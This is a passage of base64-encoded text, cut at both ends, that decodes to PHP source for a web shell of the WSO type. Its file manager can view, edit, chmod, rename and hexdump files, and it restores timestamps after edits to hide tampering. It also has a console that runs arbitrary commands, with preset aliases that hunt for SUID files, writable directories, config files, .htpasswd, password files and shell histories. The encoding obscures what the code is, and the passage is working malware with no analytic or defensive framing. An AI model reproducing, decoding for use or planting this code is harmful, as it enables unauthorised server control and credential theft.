bGVvd25lcigkX1BPU1RbJ3AxJ10pOwoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NU
WydwMSddKTsKCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NU
WydwMSddKSk7CgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBi
YXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRf
UE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFu
PlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bh
bj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxi
cj4nOwoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpz
JyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcu
ZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlm
eSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEn
XSkpLic8YnI+PGJyPic7CglpZiggZW1wdHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMidd
ID0gJ3ZpZXcnOwoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCgkJJG0gPSBhcnJheSgnVmll
dycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywg
J1JlbmFtZScsICdUb3VjaCcsICdGcmFtZScpOwoJZWxzZQoJCSRtID0gYXJyYXkoJ0NobW9kJywg
J1JlbmFtZScsICdUb3VjaCcpOwoJZm9yZWFjaCgkbSBhcyAkdikKCQllY2hvICc8YSBocmVmPSMg
b25jbGljaz0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcs
XCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDIn
XSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKCWVjaG8gJzxicj48YnI+JzsKCXN3
aXRjaCgkX1BPU1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3JzoKCQkJZWNobyAnPHByZSBjbGFzcz1t
bDE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJ
CQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQo
JGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC9wcmU+JzsKCQkJ
YnJlYWs7CgkJY2FzZSAnaGlnaGxpZ2h0JzoKCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3Ax
J10pICkgewoJCQkJZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6
ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwoJCQkJJG9SYiA9IEBoaWdobGlnaHRfZmlsZSgkX1BP
U1RbJ3AxJ10sdHJ1ZSk7CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3Nw
YW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJG9SYikuJzwvZGl2Pic7CgkJCX0KCQkJ
YnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJ
CQkkcGVybXMgPSAwOwoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0k
aSkKCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRf
UE9TVFsncDMnXSktJGktMSkpOwoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykp
CgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5t
Zi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVj
aG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxc
JycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUp
O3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJz
dHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0
eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnZWRp
dCc6CgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewoJCQkJZWNobyAnRmlsZSBp
c25cJ3Qgd3JpdGVhYmxlJzsKCQkJCWJyZWFrOwoJCQl9CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydw
MyddKSApIHsKCQkJCSRkaXJuYW1lID0gQGRpcm5hbWUoJF9QT1NUWydwMSddKTsKCQkJCSRkaXJ0
aW1lID0gQGZpbGVtdGltZSgkZGlybmFtZSk7CgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NU
WydwMSddKTsKCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7CgkJCQkk
ZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7CgkJCQlpZigkZnApIHsKCQkJCQlAZndyaXRl
KCRmcCwkX1BPU1RbJ3AzJ10pOwoJCQkJCUBmY2xvc2UoJGZwKTsKCQkJCQllY2hvICdTYXZlZCE8
YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsKCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCAk
dGltZSwgJHRpbWUpOwoJCQkJCUB0b3VjaCgkZGlybmFtZSwgJGRpcnRpbWUsICRkaXJ0aW1lKTsK
CQkJCX0KCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJs
ZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUpO3Jl
dHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOwoJCQkkZnAg
PSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZl
b2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsK
CQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1
Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGV4ZHVtcCc6
CgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0gMDsKCQkJ
JGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4oJGMpOwoJ
CQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgn
LG9yZCgkY1skaV0pKS4nICc7CgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKCQkJCQljYXNl
IDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJl
YWs7CgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEzOiAkaFsy
XSAuPSAnICc7IGJyZWFrOwoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CgkJ
CQl9CgkJCQkkbisrOwoJCQkJaWYgKCRuID09IDMyKSB7CgkJCQkJJG4gPSAwOwoJCQkJCWlmICgk
aSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CgkJCQkJ
JGhbMV0gLj0gJzxicj4nOwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJCWVjaG8g
Jzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyPjx0cj48dGQg
Ymdjb2xvcj0jMWUyNTJmPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4n
LiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMDYwYTEwPjxwcmU+Jy4kaFsx
XS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMWUyNTJmPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJz
KCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7CgkJY2FzZSAncmVu
YW1lJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJaWYoIUByZW5hbWUoJF9Q
T1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7
CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BP
U1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25z
dWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51
bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9
bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5
cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICd0b3Vj
aCc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSR0aW1lID0gc3RydG90aW1l
KCRfUE9TVFsncDMnXSk7CgkJCQlpZigkdGltZSkgewoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3Ax
J10sJHRpbWUsJHRpbWUpKQoJCQkJCQllY2hvICdGYWlsISc7CgkJCQkJZWxzZQoJCQkJCQllY2hv
ICdUb3VjaGVkISc7CgkJCQl9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7CgkJCX0KCQkJ
Y2xlYXJzdGF0Y2FjaGUoKTsKCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0g
b25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wn
LG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBu
YW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1Rb
J3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7CgkJ
CWJyZWFrOwoJCS8qICjQoSkgMTIuMjAxNSBtaXRyeXogKi8KCQljYXNlICdmcmFtZSc6CgkJCSRm
cmFtZVNyYyA9IHN1YnN0cihodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksIHN0cmxl
bihodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSk7CgkJCWlmICgk
ZnJhbWVTcmNbMF0gIT0gJy8nKQoJCQkJJGZyYW1lU3JjID0gJy8nIC4gJGZyYW1lU3JjOwoJCQlp
ZiAoJGZyYW1lU3JjW3N0cmxlbigkZnJhbWVTcmMpIC0gMV0gIT0gJy8nKQoJCQkJJGZyYW1lU3Jj
ID0gJGZyYW1lU3JjIC4gJy8nOwoJCQkkZnJhbWVTcmMgPSAkZnJhbWVTcmMgLiBodG1sc3BlY2lh
bGNoYXJzKCRfUE9TVFsncDEnXSk7CgkJCWVjaG8gJzxpZnJhbWUgd2lkdGg9IjEwMCUiIGhlaWdo
dD0iOTAwcHgiIHNjcm9sbGluZz0ibm8iIHNyYz0nLiRmcmFtZVNyYy4nIG9ubG9hZD0ib25sb2Fk
PWhlaWdodD1jb250ZW50RG9jdW1lbnQuYm9keS5zY3JvbGxIZWlnaHQiPjwvaWZyYW1lPic7CgkJ
CWJyZWFrOwoJfQoJZWNobyAnPC9kaXY+JzsKCWhhcmRGb290ZXIoKTsKfQppZigkb3MgPT0gJ3dp
bicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJ
IkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBo
cCIsCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93
IC9iICpjb25maWcqLnBocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0
c3RhdCAtYW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAog
ICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIg
PT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJh
dGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpOwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJ
Ikxpc3QgZGlyIiA9PiAibHMgLWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGlu
dXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hv
dyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAg
ICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5k
IGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAg
CQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBl
cm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlw
ZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRp
ciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmln
LmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIs
CiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25m
aWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg
LiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xk
ZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdy
aXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJt
IC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5
cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBj
dXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJm
aW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNz
d2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAu
IC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZp
bGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAu
YmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5h
bWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAi
ZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJmaW5kIC5mZXRjaG1haWxy
YyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1h
aWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+
ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxv
Y2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2Nh
dGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRl
IHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29u
ZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJs
b2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYu
cGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmls
ZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9
PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxv
Y2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNv
bmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxv
Y2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJs
b2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwK
CQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKCQkibG9jYXRlIC5zcWwg
ZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4g
ImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAi
bG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIg
PT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxl
cyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+
ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIs
CgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCgkpOwpmdW5jdGlvbiBhY3Rp
b25Db25zb2xlKCkgewogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9T
VFsncDInXSkpIHsKICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSku
J3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsK
ICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgIHByb3RvdHlwZShtZDUo
JF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOwoJaWYoaXNzZXQoJF9Q
T1NUWydhamF4J10pKSB7CgkJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidh
amF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7
CgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVz
KCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcJ1wwIikp
OwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNo
KSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdl
dGN3ZCgpOwoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9CgkJ
ZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZC5jZi5vdXRw
dXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CgkJJHRlbXAgPSBvYl9n
ZXRfY2xlYW4oKTsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9
CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCXBy
b3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOwoJaGFyZEhlYWRl
cigpOwogICAgZWNobyAiPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2
ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOwp2YXIgY3VyID0g
MDsKZnVuY3Rpb24ga3AoZSkgewoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBl
LmtleUNvZGU7CglpZihuID09IDM4KSB7CgkJY3VyLS07CgkJaWYoY3VyPj0wKQoJCQlkb2N1bWVu
dC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXIrKzsKCX0gZWxzZSBpZihu
ID09IDQwKSB7CgkJY3VyKys7CgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpCgkJCWRvY3VtZW50LmNm
LmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1ci0tOwoJfQp9CmZ1bmN0aW9uIGFk
ZChjbWQpIHsKCWNtZHMucG9wKCk7CgljbWRzLnB1c2goY21kKTsKCWNtZHMucHVzaCgnJyk7Cglj
dXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0PiI7CgllY2hvICc8aDE+Q29uc29sZTwvaDE+
PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZh
bHVlPT1cJ2NsZWFyXCcpe2QuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQudmFsdWU9XCdc
JztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQp
e2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwn
XCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hl
Y2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PGxhYmVsPjxzZWxlY3QgbmFtZT1hbGlhcz4n
OwoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7CgkJaWYoJHYgPT0g
JycpIHsKCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4n
LSI+PC9vcHRncm91cD4nOwoJCQljb250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0i
Jy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoKCWVjaG8gJzwv
c2VsZWN0PjwvbGFiZWw+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFz
LnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1
ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNm
LmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSJz
dWJtaXQiPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihA
JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6Jycp
Lic+IHNlbmQgdXNpbmcgQUpBWCA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNob3dfZXJyb3Jz
IHZhbHVlPTEgJy4oIWVtcHR5KCRfUE9TVFsncDInXSl8fCRfQ09PS0lFW21kNSgkX1NFUlZFUlsn
SFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBz
dGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVh
IG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luLXRvcDo1cHg7IiByZWFk
b25seT4nOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQllY2hvIGh0bWxzcGVjaWFsY2hh
cnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKCX0KCWVjaG8gJzwv
